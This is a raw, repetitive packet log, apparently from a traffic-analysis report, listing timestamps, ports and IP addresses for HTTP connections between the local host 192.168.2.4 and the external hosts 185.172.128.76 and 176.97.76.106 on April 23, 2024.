Apr 23, 2024 09:38:06.175527096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175558090 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175566912 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175595045 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175600052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175635099 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175647020 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175673008 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175683022 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175709963 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175730944 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175746918 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175757885 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175785065 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175795078 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175822020 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175828934 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175859928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175869942 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175898075 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175909996 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175937891 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175945997 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.175976038 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.175986052 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176028967 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176054955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176122904 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176130056 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176171064 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176192045 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176208019 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176211119 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176245928 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176259041 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176282883 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176294088 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176321983 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176330090 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176358938 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176367998 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176398993 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176435947 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176436901 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176454067 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176475048 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176486015 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176512003 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176548004 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176556110 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176584959 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176599026 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176623106 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176637888 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176660061 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176672935 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176698923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176708937 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176736116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176743984 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176774025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176786900 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176810980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176817894 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176851034 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176862001 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176889896 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176906109 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176929951 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176939964 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.176968098 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.176979065 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177005053 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177014112 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177043915 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177056074 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177083969 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177113056 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177122116 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177128077 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177160025 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177196980 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177206039 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177233934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177243948 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177272081 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177308083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177310944 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177310944 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177345991 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177356958 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177382946 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177397966 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177421093 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177433014 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177459955 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177469969 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177496910 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177505016 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177535057 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177571058 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177584887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177608013 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177618027 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177644968 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177654982 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177681923 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177704096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177730083 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177741051 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177769899 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177778006 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177808046 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177814007 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177891016 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177897930 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177930117 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177934885 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.177968979 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.177973986 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.178005934 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.178006887 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.178045988 CEST	80	49733	185.172.128.76	192.168.2.4
Apr 23, 2024 09:38:06.178051949 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.178090096 CEST	49733	80	192.168.2.4	185.172.128.76
Apr 23, 2024 09:38:06.195820093 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.195866108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.195883989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.195902109 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.195919991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.195936918 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.195954084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.195966959 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196003914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196013927 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196039915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196063042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196077108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196129084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196136951 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196172953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196208000 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196244001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196269035 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196280956 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196290016 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196317911 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196353912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196389914 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196412086 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196425915 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196439981 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196463108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196500063 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196535110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196547031 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196571112 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196583033 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196607113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196643114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196677923 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196693897 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196713924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196726084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196751118 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196788073 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196822882 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196839094 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196858883 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196871042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.196897984 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196934938 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196970940 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.196994066 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197005987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197021961 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197041988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197077990 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197113991 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197129011 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197149992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197165012 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197185993 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197221041 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197256088 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197272062 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197292089 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197302103 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197328091 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197365046 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197401047 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197422028 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197436094 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197447062 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197472095 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197508097 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197545052 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197560072 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197581053 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197592020 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197618008 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197653055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197689056 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197710991 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197727919 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197727919 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197765112 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197799921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197835922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197845936 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197870970 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197877884 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.197927952 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197963953 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.197999001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198014975 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198035002 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198046923 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198071957 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198108912 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198148012 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198170900 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198182106 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198193073 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198218107 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198254108 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198290110 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198301077 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198326111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198337078 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198363066 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198398113 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198434114 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198450089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198468924 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198479891 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198504925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198539972 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198576927 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198590994 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198612928 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198622942 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198647976 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198683977 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198719978 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198733091 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198755980 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198766947 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198791981 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198827982 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198863029 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198879957 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198899031 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198909998 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.198935986 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.198971987 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199007988 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199028015 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199043989 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199047089 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199080944 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199115992 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199152946 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199170113 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199188948 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199198961 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199224949 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199259996 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199295044 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199302912 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199331999 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199367046 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199367046 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199404001 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199439049 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199450970 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199475050 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199486017 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199510098 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199548006 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199584007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199594021 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199619055 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199629068 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199656010 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199691057 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199726105 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199740887 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199762106 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199770927 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199798107 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199832916 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199868917 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199879885 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199904919 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199928045 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.199944019 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.199980021 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200015068 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200031042 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200051069 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200061083 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200089931 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200145960 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200181007 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200195074 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200217009 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200229883 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200253010 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200289965 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200325966 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200340986 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200361967 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200371981 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200397968 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200433016 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200468063 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200483084 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200503111 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200515985 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200539112 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200573921 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200609922 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200622082 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200645924 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200647116 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200681925 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200716972 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200752020 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200767040 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200788975 CEST	80	49734	176.97.76.106	192.168.2.4
Apr 23, 2024 09:38:06.200798035 CEST	49734	80	192.168.2.4	176.97.76.106
Apr 23, 2024 09:38:06.200824022 CEST	80	49734	176.97.76.106	192.168.2.4
